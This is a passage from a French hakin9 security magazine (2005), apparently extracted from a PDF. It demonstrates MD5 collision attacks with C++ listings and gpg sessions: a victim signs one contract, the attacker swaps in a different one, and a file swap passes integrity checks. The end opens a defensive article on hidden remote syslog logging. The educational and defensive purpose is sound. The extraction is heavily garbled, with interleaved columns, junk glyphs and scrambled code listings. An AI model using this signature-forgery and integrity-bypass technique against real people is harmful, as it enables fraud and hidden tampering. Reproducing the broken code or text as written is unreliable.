Les fichiers disponibles dans l'archive hakin9.live peuvent être compilés à l'aide de Makefile fourni aussi sur le CD (pour les plates-formes Unix). Les utilisateurs de la plate-forme Microsoft Windows peuvent se servir des binaires tous prêts. Le fichier exécutable create-package (cf. le Listing 1), à partir des deux fichiers données (contract1.pdf, contract2.pdf) crée deux nouveaux fichiers contenant les informations additionnelles – chacun d'eux contient les deux fichiers donnés. La syntaxe de la commande est la suivante :
� � �
�
�
�
�
Figure 1. Schéma du fonctionnement de l'algorithme MD5
36
Comme nous l'avons déjà dit, nous allons commencer par l'exemple avec deux contrats différents (l'exemple basé sur le texte d'Ondrej Mikle de l'Université de Prague). Nous avons besoin des fichiers suivants (disponibles sur hakin9.live) : •
�����������������
�
devons donc limiter nos études à des exemples très simples. Pourtant, nous pouvons démontrer comment mettre en pratique ce savoir et ce qu'il sera possible si le mécanisme de génération des blocs en collision à partir des messages quelconques est publié. Nos limitations sont dues au fait que nous ne sommes pas capables de créer les paires de clés de collision dans un temps raisonnable. Nous nous servirons alors des messages tous prêts de 1024 bits, présentés dans le texte de Wang.
www.hakin9.org
$ ./create-package contract.pdf \ contract1.pdf contract2.pdf
Ce programme stocke les fichiers contract1.pdf et contract2.pdf dans les archives appropriées : data1.pak et data2.pak. Chacune d'elles, utilisée
hakin9 N o 2/2005
Menaces pour MD5
��������������� ��������������������
��������������� ��������������������
����������������������������������� ����������������������������������� ����������������������������������� ����������������������������������� ����������������������������������� ����������������������������������� ����������������������������������� ����������������������������������� ��
����������������������������������� ����������������������������������� ����������������������������������� ����������������������������������� ����������������������������������� ����������������������������������� ����������������������������������� ����������������������������������� ��
�������������������������
������������
������������
�������� :
�������������������������� ���������é
����
����
�������� :
������������������������� ���������é
����
����
�������������������
�������������������
������������������������
������������������������
�������������������
������������������������
������������������������
����������������
����������������
������������
���������������
���������
���������������� ���������������������
�������� :
�������������������
Figure 2. Distribution des données dans les fichiers data.pak avec le programme self-extract, créera le fichier portant le nom contract.pdf.
La Figure 2 présente la distribution des données dans les fichiers data1.pak et data2.pak.
Listing 1. Code source du programme create-package #include
#include #include #include #include <stdint.h> #include //deux blocs de 1024 bits en collision #include "collision.h" #define COLLISION_BLOCK_SIZE (1024/8) #define TABLE_SIZE (sizeof(FileSizes)) using namespace std; uint32_t FileSizes[2], FileSizesNetFormat[2]; uint32_t getfilesize(ifstream &infile) { uint32_t fsize; infile.seekg(0, ios::end); fsize = infile.tellg(); infile.seekg(0, ios::beg); return fsize; } int main(int argc, char *argv[]) { if (argc < 3) { cout << "Usage: create-package outfile infile1 infile2" << endl; exit(1); }
hakin9 N o 2/2005
www.hakin9.org
Les blocs dans le message spécial (special message) désignés par les couleurs verte et rouge sont ce que l'on appelle colliding blocks (blocs en collision) – ils sont différents dans chaque fichier (data1.pak et data2.pak). Les messages spéciaux sont des chaînes binaires ajoutées aux documents des chercheurs chinois. Les autres données dans les fichiers data1.pak et data2.pak sont toujours identiques. Lors du calcul des sommes de contrôle MD5 de ces fichiers, les blocs en collision désignés entraînent que les hachés sont identiques. Vu que d'autres données sont toujours identiques, au niveau des résultats, le haché est toujours identique – indépendamment du contenu supplémentaire des fichiers .pak. Dans notre exemple, nous créerons deux répertoires différents (contract1Dir et contract2Dir). Ensuite, nous mettrons le fichier data1.pak dans le répertoire contract1Dir, par contre le fichier data2.pak – dans le répertoire contract2Dir. L'étape suivante consiste à changer les noms des deux fichiers en data.pak. Il faut également copier le fichier self-extract dans les deux répertoires. Le contenu des répertoires doit se présenter ainsi :
37
Listing 1. Code source du programme create-package, suite ifstream infile1(argv[2], ios::binary); ifstream infile2(argv[3], ios::binary); ofstream outfile1("data1.pak", ios::binary); ofstream outfile2("data2.pak", ios::binary); FileSizes[0] = getfilesize(infile1); FileSizes[1] = getfilesize(infile2); //créer les données à stocker dans la mémoire et lire les deux fichiers uint32_t datasize = FileSizes[0] + FileSizes[1]; char *data = new char [datasize]; infile1.read(data, FileSizes[0]); infile2.read(data+FileSizes[0], FileSizes[1]); //enregistrer le nom du fichier dans le paquet uint8_t fnamelen = strlen(argv[1]); //convertir le tableau avec les tailles des fichiers //en format network-endian FileSizesNetFormat[0] = htonl(FileSizes[0]); FileSizesNetFormat[1] = htonl(FileSizes[1]); //créer data1.pak outfile1.write((char *)collision[0], COLLISION_BLOCK_SIZE); outfile1.write((char *)&fnamelen, 1); outfile1.write(argv[1], fnamelen); outfile1.write((char *)FileSizesNetFormat, TABLE_SIZE); outfile1.write(data, datasize); outfile1.close(); //créer data2.pak outfile2.write((char *)collision[1], COLLISION_BLOCK_SIZE); outfile2.write((char *)&fnamelen, 1); outfile2.write(argv[1], fnamelen); outfile2.write((char *)FileSizesNetFormat, TABLE_SIZE); outfile2.write(data, datasize); outfile2.close(); cout cout cout cout
<< << << << << cout <<
"Custom colliding files created." << endl; "Files are named data1.pak and data2.pak" << endl; "Put each of them in contr1 and contr2 directory," << endl; "rename each to data.pak and run self-extract to see result" endl; endl << "Press Enter to continue" << endl;
char somebuffer[8]; cin.getline(somebuffer, 8); }
Attaque
• •
contractDir1 : self-extract et data.pak, contractDir2 : self-extract et data.pak.
Après le lancement de self-extract dans chaque répertoire, le programme – à partir de l'un des bits qui se trouvent dans les blocs en collision – décide quel fichier de data.pak doit être décompacté. Ce bit est défini
38
dans le code source de la manière suivante : /* Offset du bit en collision */ /* dans le fichier avec les données */ #define MD5_COLLISION_OFFSET 19 /* Masque du bit en collision */
Tout d'abord, décompactons les fichiers avec les données de l'archive data.pak (Figure 3). Le programme self-extract (cf. le Listing 2) commence par ouvrir le fi chier data.pak. Il lit le bit de décision (decision bit) à partir de la position définie par MD5 _ COLLISION _ OFFSET et le masque à l'aide du masque MD5 _ COLLISION _ BITMASK . Ensuite, il lit la longueur du nom du fi chier à décompresser (dans notre cas : 0x0C -> 12d). Enfi n, il lit le nom du fi chier (contract.pdf ) et la longueur du premier et du deuxième fi chier. Ces informations sont suffisantes pour calculer la position absolue des données à décompresser dans le fi chier data.pak – la décision est basée sur le bit de décision. Les données de la position déterminée, sont décompactées dans le fi chier dont le nom a été défini au préalable. Comme cela est présenté sur la Figure 4, nous commençons par créer les fichiers data.pak contenant deux contrats différents (contract1.pdf et contract2.pdf). L'acheteur obtiendra l'archive data.pak et le fichier exécutable self-extract. Il décompressera le fichier contract.pdf (à l'origine contract1.pdf) du fichier data.pak et, après avoir lu le contrat, il signera les fichiers téléchargés (data.pak et self-extract) par sa clé. Quand ces fichiers nous seront retournés, nous pouvons remplacer les fichiers data.pak (ce seront en fait contract1.pdf et contract2.pdf). Vu que l'acheteur l'a signé par sa clé et que nous disposons du contrat signé pour un montant très élevé (100 000 euros), nous pouvons devenir méchants. Dans l'exemple pratique, nous utiliserons gpg pour Linux (GnuPG 1.2.2) et nos fichiers (contract1.pdf, contract2.pdf, self-extract). Comme vous vous rappelez, nous avons envoyé à l'acheteur les fichiers créés (data.pak et self-extract), alors il a reçu les binaires suivants :
#define MD5_COLLISION_BITMASK 0x80
Le mode d'emploi de ces fichiers sera expliqué dans la suite de l'article.
www.hakin9.org
$ ls -l -rw-r--r-users
1 test 3266
hakin9 N o 2/2005
Menaces pour MD5
–-digest-algo md5 \ -ab -s self-extract
����������������������������
En résultats, il obtient dans son répertoire les fichiers suivants :
�������������������������� ��������������������
$ ls -l -rw-r--r--
������������������� ���������������������
users
1 test 3266
2004-12-01 00:59 data.pak
���������������������������������� ����������������������
-rw-r-----
1 test
users
���������������������������� ����������������������������
392
2004-12-29 14:59 data.pak.asc -rwxr-x---
������������������������������� �������������������������������
users
1 test 6408
2004-12-18 19:00 �������������������������
����������������������������������� ����������������������������������� ����������������������������������� ����������������������������������� ����������������������������������� ����������������������������������� ����������������������������������� �����������������������������������
����������������������������������� ����������������������������������� ����������������������������������� ����������������������������������� ����������������������������������� ����������������������������������� ����������������������������������� �����������������������������������
��
��
������������
������������
����
����
����
������������������ ������������������
������������������������ ������������������������
������������������ ������������������
����
Figure 3. Décompression de l'un des fichiers de l'archive data.pak Maintenant, il signe les fichiers data.pak et self-extract par sa clé. Il le fait au moyen des commandes suivantes :
data.pak -rwxr-x--users
1 test 6408
2004-12-18 19:00 $ gpg -u USERID \
Après avoir décompacté et lu le contrat, l'acheteur crée une clé gpg (testforhakin9) :
Il peut choisir parmi les options suivantes :
• • •
5 (RSA, signature seule), 1024 – longueur minimale de la clé, 1 (valide pour une journée), vrai nom (rene heinzl), adresse e-mail
•
commentaire (Used
([email protected]),
for
hakin9
demonstration of reduced appli-
hakin9 N o 2/2005
2004-12-29 15:01 self-extract.asc
Comme vous voyez, la victime a créé des signatures séparées pour chaque fichier. Ensuite, elle nous les enverra signés. C'est le bon moment pour attaquer : $ gpg -v --verify \ data.pak.asc data.pak
Le résultat sera le suivant :
–-digest-algo md5 \ -ab -s data.pak $ gpg -u USERID \
Version: GnuPG v1.2.2 (GNU/Linux) gpg: Signature made Wed 29 Dec 2004
Listing 2. Code source du programme self-extract
$ gpg –-gen-key
cability of MD5).
392
gpg: armor header:
self-extract
• •
1 test
users
������������������������ ������������������������
������������������������
2004-12-01 00:59
self-extract -rw-r-----
#include #include #include #include #include #include
<stdint.h>
using namespace std; #define #define #define #define
MD5_COLLISION_OFFSET 19 MD5_COLLISION_BITMASK 0x80 SUBHEADER_START (1024/8) TABLE_SIZE (sizeof(FileSizes))
uint32_t FileSizes[2]; uint32_t FilePos[2];
www.hakin9.org
39
Listing 2. Code source du programme self-extract, suite
"rene heinzl (Used for hakin9 demonstration of "reduced applicability of MD5")
uint8_t colliding_byte, fnamelen;
"
//trouver et lire l'octet dans lequel une collision MD5 a lieu packedfile.seekg(MD5_COLLISION_OFFSET, ios::beg); packedfile.read((char *)&colliding_byte, 1); //charger le nom du fichier packedfile.seekg(SUBHEADER_START, ios::beg); packedfile.read((char *)&fnamelen, 1); char *filename = new char[fnamelen+1]; packedfile.read(filename, fnamelen); filename[fnamelen] = 0; //terminate string //charger le tableau de fichiers packedfile.read((char *)FileSizes, TABLE_SIZE); //convertir les tableaux du format réseau en format hôte //il fonctionnera sur les plates-formes little-endian et big-endian for (int i=0; i<2; i++) FileSizes[i] = ntohl(FileSizes[i]); //mise à jour de la position des fichiers dans l'archive FilePos[0] = SUBHEADER_START + 1 + fnamelen + TABLE_SIZE; FilePos[1] = FilePos[0] + FileSizes[0]; unsigned int fileindex = (colliding_byte & MD5_COLLISION_BITMASK) ? 1 : 0; //lire et décompresser le fichier uint32_t extrsize = FileSizes[fileindex]; uint32_t extrpos = FilePos[fileindex]; char *extractbuf = new char[extrsize]; packedfile.seekg(extrpos, ios::beg); packedfile.read(extractbuf, extrsize); packedfile.close(); ofstream outfile(filename, ios::binary); outfile.write(extractbuf, extrsize); outfile.close(); cout << "File " << filename << " extracted. Press Enter to continue." << endl; char somebuffer[8]; cin.getline(somebuffer, 8); return(0); }
Attaque
using RSA key ID 4621CB9C gpg: Good signature from "rene heinzl (Used for hakin9
" gpg: binary signature, digest algorithm MD5
Si nous remplaçons le fichier reçu data.pak (contract1.pdf) par notre
40
version data.pak (contract2.pdf) et que nous essayerons de comparer les données, le résultat sera identique au précédent :
demonstration of "reduced applicability of MD5")
using RSA key ID 4621CB9C gpg: Good signature from
int main(int argc, char *argv[]) { ifstream packedfile("data.pak", ios::binary);
02:59:46 PM CET
02:59:46 PM CET
$ gpg -v --verify \ data.pak.asc data.pak gpg: armor header: Version: GnuPG v1.2.2 (GNU/Linux) gpg: Signature made Wed 29 Dec 2004
www.hakin9.org
gpg: binary signature, digest algorithm MD5
Nous pouvons maintenant décompresser le fichier contract.pdf (contract2.pdf) de l'archive data.pak – il s'avère qu'il est tout à fait différent de celui qui a été signé par l'acheteur. Le défaut de la méthode présentée, est la nécessité d'utiliser deux fichiers. De plus, la victime doit signer les deux fichiers et pas le contrat en question. Mais cela ne diminue pas le danger que cette méthode peut présenter. Dans la branche de Gestion des droits numériques (Digital Rights Management, DRM), on utilise toujours une des fonctions de hachage, même si celle-ci ne sert pas directement à obtenir le condensé de message des fichiers. Les producteurs commerciaux utilisent d'habitude trois algorithmes les plus importants – RSA, DSA et ElGamal (ce sont des méthodes de chiffrage asymétrique). Ces techniques étant assez lentes, dans le monde du DRM, on utilise plutôt les sommes hachées, et pas les fichiers en tant que tels. De ce fait, l'utilisation de cette méthode pour des abus (la préparation des signatures pour les fichiers, indépendamment de leur taille) – en prenant en considération la grande efficacité de MD5 – est possible. La technologie mentionnée est utilisée par Microsoft Authenticode, par exemple dans le navigateur Internet Explorer. Sa tâche consiste à limiter le contenu exécutable des sites Web aux binaires signés électroniquement. Étant donné que la technique de Microsoft se sert (ou au moins permet de l'utiliser) de MD5, l'application de la méthode d'attaque décrite pour remplacer un contenu innocent par un malicieux, serait vraiment trivial.
hakin9 N o 2/2005
Menaces pour MD5
��������������������������������� ������������������������������ �������������� ��������������������
��������� ��������������
�������������� ��������������������
���
�
���
�������� ��������������
������������������
��������� ��������������
$ ./make-data-packages
���������
��������
��������� ��������������
���
�
���������
���
�������� ��������������
���������
�������� ��������������
�������������� �������������������
���������
Figure 4. Attaque sur la signature électronique
S'attaquer à l'intégrité des données
Comme nous avons pu le voir, au moyen d'une collision, nous pouvons créer deux contrats différents et, sans aucun risque, passer l'un d'eux à la victime. Analysons maintenant l'attaque sur MD5 pour compromettre les systèmes réseau, servant à publier des programmes protégés par hachés MD5 et ceux protégés par les outils qui vérifient l'intégrité des fichiers. L'un de ces types d'outils est Tripwire, créant les sommes de contrôle de tous les fichiers importants et détectant leurs modifications (cf. l'article Tripwire – détecteur d'intrusions, hakin9 3/2004). Pour comprendre mieux la question, nous n'analyserons qu'une attaque sur un système protégé par un outil de type Tripwire, mais l'adaptation de ce scénario à la compromission
hakin9 N o 2/2005
bien que le contenu des archives soit tout à fait différent. Analysons les détails. Pour les besoins de la simulation, nous avons préparé deux outils simples (runprog, make-data-packages). D'abord, à l'aide de make-datapackages (cf. Listing 3), nous créerons nos deux archives différentes (dataG.file est le raccourci de dataGeneral-file, et dataD.file provient de data-Dangerous-file) :
des fichiers sur un serveur Web ou FTP, est banale. Comment effectuer la simulation de l'attaque ? Nous utiliserons un fichier exécutable et, comme auparavant, deux archives différentes data.pak (dataG.fi le, dataD.fi le) – le contenu de ces fichiers n'est que des données provenant des documents des chercheurs chinois, alors leurs sommes de contrôle MD5 seront identiques. Ensuite, nous mettrons le fichier exécutable et le fichier dataG.fi le innocent sur un serveur. Si l'utilisateur télécharge et décompresse ces fichiers, tout aura un aspect normal. Mais si nous étions capables d'accéder à son ordinateur et de remplacer dataG.fi le par le fichier dataD.fi le, le programme Tripwire ne détecterait aucune différence – les sommes de contrôle MD5 seraient identiques,
www.hakin9.org
Si nous ne définissons pas les noms des fichiers, le programme utilisera par défaut les noms dataG.file et dataD.file. Le fichier data.G.file, avec le programme runprog (cf. le Listing 4), sera mis sur le serveur Web pour télécharger. Si quelqu'un télécharge ces deux fichiers, tout aura l'air normal. N'oubliez pas que le code utilisé dans cet exemple, après désassemblage, aura l'air suspect – son fonctionnement malicieux sera indubitable et facile à détecter ; nous pouvons imaginer les conséquences de nos actions, si nous étions démasqués. Mais cet article n'a pas pour but de décrire les portes dérobées dans le système (cf. les numéros précédents de hakin9), mais de présenter les résultats des failles trouvées dans l'algorithme MD5. Voici le contenu du répertoire utilisateur après le téléchargement des fichiers du serveur : $ ls -la -rw-r-----
1 test
users
128
2004-12-29 14:05 dataG.file -rwxr-x---
1 test
users
11888
2004-12-29 14:04 runprog
Et voici l'effet de l'exécution du programme runprog sur le fichier dataG.file : $./runprog dataG.file way one
41
Listing 3. Code source du programme make-data-packages #include #include //deux blocs de 1024 bits en collision, le fichier créé par Ondrej Mikle #include "collision.h"
dataD.file
a4c0d35c95a63a80§
5915367dcfe6b751
56fa8b2c22ab43f0§
c9c937b0911329b6
using namespace std; int main(int argc, char *argv[]) { string filename1("dataG.file"), filename2("dataD.file"); if (argc < 3) { cout << "Using default names for data files" << endl; cout << "filename1: " << filename1 << endl; cout << "filename2: " << filename2 << endl; } else { filename1 = argv[1]; filename2 = argv[2]; cout << "Creating the files with the following filenames:" << endl; cout << "filename1: " << filename1 << endl; cout << "filename2: " << filename2 << endl;
runprog
En fait, les fichiers sont différents : $ diff -q dataD.file dataG.file Files dataD.file and dataG.file differ
Et maintenant, remplaçons dataG.file par le fichier dataD.file : $ mv dataD.file dataG.file
Vérifions les sommes MD5 :
}
$ for i in `ls`; \
ofstream outfile1(filename1.c_str(), ios::binary); ofstream outfile2(filename2.c_str(), ios::binary);
a4c0d35c95a63a80§
//create file with filename1 outfile1.write((char *)collision[0], COLLISION_BLOCK_SIZE); outfile1.close();
56fa8b2c22ab43f0§
do md5sum $i; done 5915367dcfe6b751
//create file with filename2 outfile2.write((char *)collision[1], COLLISION_BLOCK_SIZE); outfile2.close(); }
dataG.file
c9c937b0911329b6 runprog
et lançons runprog : $ ./runprog dataG.file
here the program is currently okay.. no malicious routines will be started
(il ne faut pas oublier de changer son nom). Voici le contenu du répertoire et les sommes MD5 des fichiers après le remplacement des fichiers :
Les sommes MD5 : $ ls -l $ for i in `ls`; \ do md5sum $i; done
a4c0d35c95a63a80§
Attaque
5915367dcfe6b751
dataG.file
#define COLLISION_BLOCK_SIZE (1024/8)
5915367dcfe6b751 dataG.file
56fa8b2c22ab43f0§
c9c937b0911329b6 runprog
Maintenant, si nous accédions au système de l'utilisateur, nous pourrions remplacer le fi chier dataG.fi le par le fi chier malicieux dataD.fi le
42
do md5sum $i; done
a4c0d35c95a63a80§
-rw-r-----
1 test
users
128
2004-12-29 14:09 dataD.file -rw-r-----
1 test
users
128
2004-12-29 14:09 dataG.file -rwxr-x--users
1 test 11888
2004-12-29 14:04 runprog $ for i in `ls`; \
www.hakin9.org
way two here the program is in the bad branch.. malicious routines will be started
Les sommes MD5 n'ont pas changé, alors la vérification de l'intégrité (par exemple à l'aide de l'outil Tripwire) ne permettra pas de détecter les modifications – notre programme est donc capable de faire des choses vraiment vilaines. Il peut, par exemple, ouvrir l'un des ports et envoyer via celui-ci, la clé privée de l'utilisateur ou le fichier passwd vers un autre ordinateur. Si nous avions accès à l'algorithme complet de calcul des paires de collisions MD5, tous les fragments du code pourraient être placés dans un seul fichier. Toute
hakin9 N o 2/2005
Listing 4. Code source du fichier runprog #include #include #include <stdint.h> using namespace std; /* Offset de l'octet en collision dans le fichier avec les données*/ #define MD5_COLLISION_OFFSET 19 /* Masque du bit en collision*/ #define MD5_COLLISION_BITMASK 0x80 int main(int argc, char *argv[]) { if (argc < 2) { cout << "Please specifiy the used filename .. " << endl; return(-1); } ifstream packedfile(argv[1], ios::binary); uint8_t colliding_byte; //retrouver et lire l'octet dans lequel la collision MD5 a lieu packedfile.seekg(MD5_COLLISION_OFFSET, ios::beg); packedfile.read((char *)&colliding_byte, 1);
}
if ( colliding_byte & MD5_COLLISION_BITMASK) { cout << "way one " << endl; cout << "here the program is currently okay.. no malicious routines will be started " << endl; } else { cout << "way two " << endl; cout << "here the program is in the bad branch.. malicious routines will be started " << endl; } return(0);
la procédure d'attaque serait alors beaucoup moins suspecte que la méthode utilisant deux fichiers.
Attaque
Attaque brute force
44
Les attaques de type force brute sur les algorithmes de hachage (MD5, SHA-1 et autres) consistent à retrouver toutes les combinaisons des paires de données d'entrée, pour obtenir le condensé de message identique. En général, l'algorithme de hachage est considéré comme sûr, s'il n'existe pas d'autres moyens pour récupérer les données d'entrée ayant la valeur de haché exigée, que les attaques par brute force.
L'attaque brute force sur MD5 est extrêmement inefficace. Pour obtenir deux messages ayant la même valeur de haché, il faut effectuer 2^64 (=1.844674407e+19) d'opérations de hachage. Un ordinateur moyen disponible actuellement sur le marché pourrait le faire en... un
demi-siècle, il est donc difficile de juger ce scénario réaliste. Mais les documents dernièrement publiés démontrent que par le biais d'une mathématique avancée, il est possible de réduire ce nombre à environ 2^42 (=4.398046511e+12) d'opérations de hachage. Cette réduction des opérations nécessaires, diminue la durée de calcul à un jour. La création d'un message ayant un haché donné exige 2^128 (=3.402823669e+38) d'opérations et n'est pas réalisable même dans des milliards d'années. Jusqu'à présent, aucun moyen de réduire ce temps, n'est connu – les techniques d'exploitation des failles dans MD5 ne concernent donc pas ces types d'attaques sur l'algorithme MD5.
Se fier signifie contrôler
Les dernières découvertes confirment la thèse qu'aucun algorithme de protection des données n'est digne d'une confiance aveugle – son infaillibilité doit toujours être vérifiée. Heureusement, à présent, MD5 peut toujours être considéré comme sûr. Les exemples de collisions publiés ne sont pas trop dangereux, mais démontrent les faiblesses de cet algorithme. Mais il ne faut pas oublier que dans le passé, de pareilles découvertes ont amené à dévoiler des failles de sécurité très graves. Dans plusieurs applications, il faut pendre en considération la migration vers d'autres fonctions de hachage (par exemple SHA-1) – les faiblesses présentées facilitent les abus et ébranlent la confiance envers MD5. Et dans le monde numérique, où la garantie de la sécurité des données est presque nulle, c'est la confiance qui est cruciale. n
Sur le réseau • • • •
http://cryptography.hyperlink.cz/2004/collisions.html – le site d'Ondrej Mikle sur les collisions, http://www.gnupg.org/ – Gnu Privacy Guard, http://www.faqs.org/rfcs/rfc1321.html – Ronald L. Rivest, MD5 RFC, http://eprint.iacr.org/2004/199 – les collisions des fonctions de hachage MD4, MD5, HAVAL-128 et RIPEMD.
www.hakin9.org
hakin9 N o 2/2005
h9.DiskShredder LE PROGRAMME CONÇU POUR L’EFFACEMENT SÛR DES DONNÉES DES DISQUES DURS
Dans la société moderne, l’information devient de plus en plus importante. L’interception des données peut avoir des conséquences financières, sociales ou politiques très graves. LES DONNÉES EFFACÉES D’UNE FAÇON TRADITIONNELLE PEUVENT ÊTRE FACILEMENT RÉCUPÉRÉES PAR DES PERSONNES NON-AUTORISÉES ! Le programme h9.DiskShredder efface les données des disques durs de façon à ce qu’il soit impossible de les récupérer, même par les spécialistes. h9.DiskShredder a été conçu en collaboration avec le laboratoire hakin9.lab qui s’occupe des problèmes liés à la sécurité.
Informations et commandes www.hakin9.org, [email protected]
SYSLOG Kernel Tunnel – protection des journaux système
Michał Piotrowski
Si l'intrus prend le contrôle des journaux système, nous ne sommes pas capables de reconstituer ses actions. Les solutions utilisées à jusqu'à présent n'assurent pas un niveau de sécurité satisfaisante.
Défense
T
46
ous les systèmes d'exploitation professionnels sont dotés de mécanismes permettant d'enregistrer les événements qui ont lieu autant dans le système en tant que tel que dans les applications spécifiques. Ces informations, appelées journaux, sont le plus souvent enregistrées dans un fichier journal ou envoyées à un serveur dédié collectant les messages de l'environnement entier. Dans les systèmes de production (surtout ceux qui offrent aux utilisateurs les services Web), le journal d'événements est l'une des ressources critiques – il contient les informations sur les actions effectuées par les utilisateurs et sur les erreurs qui se sont produites dans le système (cf. l'Encadré Comment c'est fait dans Linux). De plus, un journal correctement tenu permet non seulement l'identification des erreurs dans la configuration des programmes, mais dans le cas d'une attaque, il devient l'enregistrement des actions de l'intrus et peut être utilisé comme pièce à conviction. En pratique, chaque attaque réussie est liée à une suppression ou modification des journaux par l'intrus. Évidemment, il est possible d'envoyer les journaux à un autre système, mais au moins deux désavantages y sont liés :
www.hakin9.org
•
l'intrus sera capable d'arrêter l'enregistrement en désactivant l'application gérant les journaux ou en modifiant sa configuration de façon à ce que les messages ne soient pas distribués hors le système local, le pirate expérimenté et assidu, pour effacer les traces de ses actions, peut s'attaquer au serveur de journaux.
•
L'envoi des journaux à l'imprimante n'est pas non plus une bonne idée – il est vrai que l'intrus ne les supprimera pas, mais il peut toujours arrêter cette opération. L'unique solution efficace est d'effectuer l'enregistrement des événements
Cet article explique... • •
comment, à l'aide des modules du noyau, protéger le journal d'événements système, comment, en toute sécurité, actualiser la bibliothèque système glibc.
Ce qu'il faut savoir... • •
au moins les notions de base de la programmation en C, écrire de simples modules du noyau.
hakin9 N o 2/2005
á Protection des journaux systeme
Comment c'est fait dans Linux
Dans Linux, le mécanisme enregistrant les événements est system logger. Son cœur est le programme gérant le registre qui lit les informations provenant du noyau du système et des programmes fonctionnant dans l'espace utilisateur. Ensuite, conformément à la configuration, il les divise en différentes catégories, enregistre dans les fichiers appropriés, transfère aux autres programmes pour le traitement ultérieur ou envoie à un système distant. Le programme le plus ancien et le plus populaire de ce type est sysklogd, remplacé de plus en plus souvent par les programmes syslog-ng ou metalog. Le second élément très important de system logger est ce jeu de trois fonctions : openlog(), syslog() et closelog() appartenant à une bibliothèque de programmation standard (le plus souvent glibc). Ces fonctions fournissent aux utilitaires les mécanismes permettant l'accès et l'enregistrement des événements dans le journal système. Comment cela se passe en pratique ? Le programme qui veut utiliser system logger, après avoir commencé le travail, s'y connecte en appelant la fonction openlog() avec les paramètres de connexion déterminés à l'aide des arguments (par exemple le nom du programme qui apparaîtra dans les journaux en tant que sources des informations, la priorité et le type de messages). Chaque fois que le programme veut écrire dans le journal système, il exécute la fonction syslog(). À la fin, quand le programme termine son fonctionnement, il peut fermer la connexion à l'aide de la fonction closelog(). Hélas, ce mécanisme a quelques défauts. Le plus grave est qu'au moment où l'intrus dispose des droits d'administrateur, il sera capable de désactiver l'enregistrement des événements, et modifier les fichiers du journal, à moins qu'ils soient stockés localement. C'est un problème très grave dans les systèmes de production, et surtout dans les honeypots dans lesquels l'enregistrement des actions de l'intrus est prépondérant.
de façon à ce que l'intrus ne se rende pas compte qu'il a lieu. Pour éviter ces désavantages, nous pouvons appliquer un enregistrement des événements à distance satisfaisant les conditions suivantes : •
•
•
•
les messages doivent être envoyés sans l'intermédiaire d'un programme fonctionnant dans l'espace utilisateur car la désactivation de ce programme signifi era la fin de l'enregistrement, les messages réseau contenant les événements doivent être invisibles pour l'intrus qui essayera d'écouter le réseau à l'aide de programmes de type sniffeur, l'intrus ne devrait pas être capable, au moyen des mécanismes de pare-feu standard intégrés dans le noyau (iptables), de bloquer l'envoie des messages réseau à un système distant, il faut limiter l'ingérence dans les programmes utilitaires à partir
hakin9 N o 2/2005
desquels proviennent les messages car une modification de chacun d'eux peut être difficile et fastidieuse, voire impossible. ���������������
Tous ces principes seront satisfaits dans le projet SYSLOG Kernel Tunnel (SKT), conçu pour les systèmes basés sur le noyau de Linux de série 2.4 et sur la bibliothèque GNU C Library (glibc) en version 2.3.2. Mais avant de passer à l'utilisation de ce projet dans la pratique, expliquons les principes de son fonctionnement.
Architecture et fonctionnement de SYSLOG Kernel Tunnel
La tâche principale de SYSLOG Kernel Tunnel consiste à envoyer les journaux à un système distant par l'intermédiaire d'un module du noyau qui recevra les messages à envoyer directement des applications utilitaires ou indirectement de la fonction syslog(). Pour que le serveur distant syslogd accepte les connexions, il faut le lancer avec l'option -r – grâce à cela, le serveur sera connecté au port 514 UDP et pourra recevoir les informations envoyées via le réseau. De plus, la présence et le fonctionnement du module dans le système doivent être masquées de façon à ce qu'un ���������������
������������������
����������������
������������������
���������������
�������������������
������������������� ���������������������� ��������������������� ������
������������������ �������� ��������
����������� �����������
Figure 1. Structure et transfert des données dans SYSLOG Kernel Tunnel
www.hakin9.org
47
intrus potentiel ne soit pas capable de le détecter et supprimer. SYSLOG Kernel Tunnel se compose de trois éléments : deux modules du noyau du système (tunnel.o et clean.o) et de la mise à jour pour la bibliothèque glibc – glibc-2.3.2-skt.patch (cf. l'Encadré Kernel, modules et bibliothèque glibc). La structure et le transfert des messages entre les éléments du projet sont présentés sur la Figure 1. Analysons le premier élément du projet – le module tunnel.o, responsable de l'envoi des messages à un serveur de journaux distant.
Défense
Module tunnel.o
48
Le module tunnel.o est une partie principale du projet. Après le chargement dans le noyau, il enregistre un périphérique en mode caractère (dans notre cas /dev/tunnel). Si des données y sont enregistrées, le module les encapsule dans le paquet UDP/IP et envoie à un serveur distant syslog écoutant sur l'adresse IP indiquée. Grâce au fait que les paquets sont générés dans le module et envoyés directement à partir de ce dernier à un périphérique réseau, ils ne sont pas visibles dans l'espace utilisateur et négligent les fragments du noyau liés à la pile TCP/IP et au mécanisme de sockets. Il est impossible d'intercepter de tels paquets à l'aide d'un sniffeur fonctionnant dans le système source. Cela est dû au fait que la plupart des sniffeurs, pour intercepter le trafic réseau, utilisent la bibliothèque libpcap (ou similaires), qui se sert des sockets pour collecter les paquets. De plus, les paquets envoyés par le module négligent les mécanismes de filtrage implémentés dans le noyau (netfilter), il est donc impossible de bloquer leur transfert à l'aide d'iptables. Le processus de la génération et de l'envoi des paquets par le module est présenté sur la Figure 2. Bref, si l'intrus tente d'écouter le réseau à partir d'un ordinateur sur lequel SYSLOG Kernel Tunnel
Kernel, modules et bibliothèque glibc
Le noyau du système d'exploitation Linux (kernel) est un programme spécial gérant tous les processus et ressources système. Ses tâches principales sont : • • • •
la gestion et la surveillance des processus (affectation du temps processeur, etc.), la gestion du système de fichiers, la gestion de la mémoire, la gestion des dispositifs d'entrée-sortie.
Le noyau implémente les fonctions, types et structures de données utilisés par tous les types de bibliothèques et applications utilitaires pour communiquer avec les périphériques. Le noyau détermine également les priorités et l'ordre d'exécution des programmes et d'affectation des ressources système nécessaires. Une caractéristique très importante du noyau est que la communication avec lui se fait d'une façon différente que dans le cas des processus ordinaires fonctionnant dans le système. Et ce qui est le plus important – son fonctionnement ne peut pas être arrêté, même par l'utilisateur ayant les droits de root, et l'observation de ces actions en temps réel est très compliquée et assez limitée. Une autre caractéristique très utile du noyau de Linux est la possibilité de développer ses fonctionnalités pendant le travail du système – le noyau peut être divisé en parties appelés modules du noyau (en anglais Linux kernel modules – LKMs). Les modules sont des fichiers objets, contiennent du code machine et les informations permettant de les ajouter ou supprimer dynamiquement du noyau fonctionnant. En général, ce sont les pilotes de tous les types de dispositifs, mais ils peuvent aussi fournir de nouvelles fonctions, types ou structures de données, modifiant le comportement standard du noyau. La bibliothèque glibc (GNU C Library) est un ensemble de fonctions importantes utilisées par tous les programmes fonctionnant dans l'espace utilisateur. Elle constitue un 